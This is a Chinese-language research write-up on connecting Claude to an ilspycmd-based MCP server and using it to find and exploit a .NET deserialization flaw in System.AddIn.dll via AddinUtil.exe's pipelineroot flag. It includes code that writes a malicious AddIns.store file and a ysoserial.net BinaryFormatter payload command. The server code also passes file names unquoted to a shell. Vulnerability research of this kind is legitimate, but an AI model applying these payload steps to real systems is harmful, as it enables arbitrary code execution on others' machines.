利用Claude挖掘反序列化漏洞
设置环境
在开始漏洞挖掘之前,我们需要一个支持Claude反编译.NET程序集的MCP服务器。虽然通常使用dotPEAK进行.NET二进制文件逆向,但这是一个仅限Windows的工具。幸运的是,ilspycmd可以在Mac/Linux上运行。
通过修复ilspycmd-docker仓库中的Dockerfile构建错误:
1
2
3
4
5
6
7
8
9
10
11
12
|
FROM mcr.microsoft.com/dotnet/sdk:8.0
RUN useradd -m -s /bin/bash ilspy
USER ilspy
WORKDIR /home/ilspy
RUN dotnet tool install -g ilspycmd
RUN echo 'export PATH="$PATH:/home/ilspy/.dotnet/tools/"' >> /home/ilspy/.bashrc
ENTRYPOINT [ "/bin/bash", "-l", "-c" ]
|
使用以下命令构建新镜像:
1
|
docker build -t ilspycmd .
|
构建MCP服务器
使用Python构建MCP服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
from mcp.server.fastmcp import FastMCP
import subprocess
import os
server = FastMCP("ilspy docker")
@server.prompt()
def setup_prompt() -> str:
return """
您可以使用以下命令通过ilspy反编译.NET程序集:
- decompile(file: str, output_folder: str) -> int: 反编译指定路径的文件。
返回值为成功代码,0表示运行成功
"""
@server.tool()
def run_ilspycmd_docker(exe_path, output_folder) -> int:
"""
在Docker容器中运行ilspycmd反编译DLL
参数:
dll_path (str): 要反编译的DLL文件路径
output_folder (str): 反编译代码输出文件夹
返回:
tuple: (返回码, 标准输出, 标准错误)
"""
# 获取绝对路径
input_dir = os.path.abspath(os.path.dirname(exe_path))
output_dir = os.path.abspath(output_folder)
exe_filename = os.path.basename(exe_path)
# 确保输出目录存在
os.makedirs(output_dir, exist_ok=True)
# 创建容器内输入目录
container_input_dir = "/decompile_in"
container_output_dir = "/decompile_out"
ilspy_cmd_path = "/home/ilspy/.dotnet/tools/ilspycmd"
ilspy_command = f"{ilspy_cmd_path} -p -o {container_output_dir} {container_input_dir}/{exe_filename}"
# 构建Docker命令
docker_cmd = [
"docker", "run", "--rm",
"-v", f"{input_dir}:{container_input_dir}",
"-v", f"{output_dir}:{container_output_dir}",
"ilspycmd",
ilspy_command
]
# 运行命令
process = subprocess.run(
docker_cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
return process.returncode
if __name__ == "__main__":
# 初始化和运行服务器
server.run(transport='stdio')
|
配置Claude Desktop
编辑claude_desktop_config.json文件添加MCP服务器配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
{
"mcpServers": {
"ilspy": {
"command": "/Users/james/Library/Python/3.9/bin/uv",
"args": [
"--directory",
"/Users/james/Research/MCP/ilspy_docker",
"run",
"ilspy.py"
]
}
}
}
|
查找已知漏洞
测试Claude能否发现System.AddIn.dll中的已知反序列化漏洞。Claude成功识别出.NET远程处理中的不安全反序列化调用,特别是TypeFilterLevel.Full的使用。
经过调整提示词和明确要求审查所有文件后,Claude最终识别出已知的不安全反序列化调用,并认识到缓存文件可能不受信任。
识别攻击路径
通过指导Claude识别从AddinUtil.exe到不安全代码的路径,Claude成功识别出可能的入口点,包括pipelineroot标志。
构建漏洞利用
Claude生成的概念验证代码包含创建恶意AddIns.store文件的逻辑:
1
2
3
4
5
6
7
8
9
10
11
|
# 创建符合ReadCache<T>期望格式的AddIns.store文件
print("[+] 创建恶意AddIns.store文件")
cache_file_path = os.path.join(output_dir, "AddIns.store")
with open(cache_file_path, 'wb') as f:
# 写入格式版本 (int32 = 1)
f.write(struct.pack("<i", 1))
# 写入有效载荷大小 (int64)
f.write(struct.pack("<q", len(payload_data)))
# 写入有效载荷数据
f.write(payload_data)
|
发现新漏洞
测试Claude能否识别pipelineroot标志的攻击路径。Claude生成了详细的漏洞解释和Python代码,但在实际测试中发现需要创建完整的文件夹结构才能成功利用。
最终验证
使用ysoserial.net生成有效载荷:
1
|
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c calc -o raw > e:\tools\payload.bin
|
通过Visual Studio和dotPeek进行调试,发现Claude忽略了创建AddIns目录的步骤。修复后成功执行calc.exe。
技术总结
本文展示了如何:
- 使用MCP服务器赋予Claude分析.NET程序集的能力
- 发现Microsoft签名二进制文件中的已知漏洞
- 构建针对pipelineroot攻击路径的工作概念验证
- 通过调试和代码修正实现成功的漏洞利用
完整的概念验证代码可在提供的链接中找到。